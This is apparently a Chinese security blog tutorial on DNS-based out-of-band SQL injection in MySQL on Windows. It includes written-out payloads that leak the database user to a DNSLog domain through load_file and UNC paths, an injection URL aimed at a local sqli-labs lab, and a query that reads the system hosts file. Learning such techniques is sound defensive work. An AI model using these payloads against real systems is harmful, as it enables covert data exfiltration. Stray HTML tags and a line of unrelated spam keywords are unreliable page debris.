<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    利用DNS實現SQL注入帶外查詢(OOB)

    VSole2023-01-05 09:54:04

    根據用于數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inference(經典SQL注入),inband(盲注、推理注入、帶內注入)和out-of-band

    一、什么是OOB

    out-of-band帶外數據(OOB)與inband相反,它是一種通過其他傳輸方式來竊取數據的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基于出口防火墻規則,即是否允許來自易受攻擊的系統和外圍防火墻的出站請求。而從域名服務器(DNS)中提取數據,則被認為是最隱蔽有效的方法。

    二、利用原理

    1、常規SQL注入,獲取服務器信息的方式

    2、SQL注入利用DNS獲取查詢結果(OOB)

    我們需要一個三級域名服務器(nameserver)也是DNS服務器(DNS Server),也就是下圖的schloar服務器。

    還需要配置域名“www.scholar.com”對應的解析IP地址為“schloar服務器”的IP地址。

    這樣就能夠實時地監控域名查詢請求了,圖示如下:

    三、利用條件

    需要windows環境

    1、DBMS中需要有可用的,能直接或間接引發DNS解析過程的子程序,即使用到UNC

    2、Linux沒有UNC路徑,所以當處于Linux環境,不能使用該方式獲取數據

    四、環境搭建

    1、Windwos操作系統

    2、Mysql數據庫服務

    3、互聯網上有已經準備好的域名服務器和DNS服務器環境

    DNSLog.cn

    CEYE

    五、OOB復現

    1、首先打開DNSLog.cn網站

    2、打開windows客戶端DOS

    ping q5i9by.dnslog.cn
    


    結果如下圖:

    3、進入Windows客戶端Mysql服務

    Go

    select load_file("http:////xxx.q5i9by.dnslog.cn//x.txt");
    select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn//aa.txt"));
    

    注:

    1、\\轉義后即為\

    2、concat將(1,2,3)拼接在一起形成123

    六、利用SQL注入漏洞外帶查詢

    直接上payload

    Go

    http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
    

    七、OOB引申的擴展知識

    1、Mysql內置函數load_file()不僅能對\www.test.com這樣的URL發起請求,還能夠加載本地文件,如下:

    Go

    select load_file("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
    

    show variables like '%secure%';查看load_file()可以讀取的磁盤。

    (1)當secure_file_priv為空,就可以讀取磁盤的目錄。

    (2)當secure_file_priv為G:\,就可以讀取G盤的文件。

    (3)當secure_file_priv為null,load_file就不能加載文件。

    通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。

    2、不同DBMS中使用的方法,參考如下鏈接

    https://blog.csdn.net/u014029795/article/details/105214129

    3、UNC定義

    UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器.。UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。UNC路徑就是類似\softer這樣的形式的網絡路徑

    格式:\servername\sharename ,其中 servername 是服務器名,sharename 是共享資源的名稱。

    目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename

    參考鏈接

    https://blog.csdn.net/u014029795/article/details/105214129

    https://www.freebuf.com/articles/web/201013.html

    https://www.cnblogs.com/-qing-/p/10623583.html

    dnssql注入
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基于出口防火墻規則,即是否允許來自易受攻擊的系統和外圍防火墻的出站請求。而從域名服務器中提取數據,則被認為是最隱蔽有效的方法。
    本文主要講述Dnslog這種攻擊手法在SQL注入中的實戰運用,雖然網上對于Dnslog在SQL注入方面運用的文章也不少。但是很多文章都只是片面的提到了這個攻擊方式,或者只是用某個簡單的payload做了簡單的驗證。然而在實際的運用中,因為環境的差異,利用也不同。本文詳細的記錄了在多種常見數據庫實際運用過程的一些細節,包括POC的編寫和原理,和一些網上沒有公開的利用POC。
    如果流量都沒有經過WAF,WAF當然無法攔截攻擊請求。當前多數云WAF架構,例如百度云加速、阿里云盾等,通過更改DNS解析,把流量引入WAF集群,流量經過檢測后轉發請求到源站。如圖,dict.com接入接入WAF后,dict.com的DNS解析結果指向WAF集群,用戶的請求將發送給WAF集群,WAF集群經過檢測認為非攻擊請求再轉發給源站。
    一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的 一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果 完全盲注,你無論怎么輸入都完全看不到任何變化。你只能通過日志或者其它什么的來注入。雖然不怎么常見。
    概述在學習SQL注入之前,我們應先了解什么是SQL?原理SQL注入就是當開發人員對用戶輸入數據的合法性沒有判斷或過濾不嚴時,攻擊者通過拼接惡意SQL語句誘使解釋器在未經適當授權的情況下執行意外命令或訪問數據。
    聲明:文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,讀者將其信息做其他用途,由用戶承擔全部
    數據庫注入提權總結
    2022-08-10 15:52:54
    首先,不能直接將該函數注入子查詢中,因為 Oracle 不支持堆疊查詢 。其次,只有數據庫管理員才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函數將為從 RDS 管道返回的數據等待 10 秒。
    Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
    Oracle數據庫的基本知識Oracle數據庫介紹Oracle Database,又名Oracle RDBMS,或簡稱Oracle。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类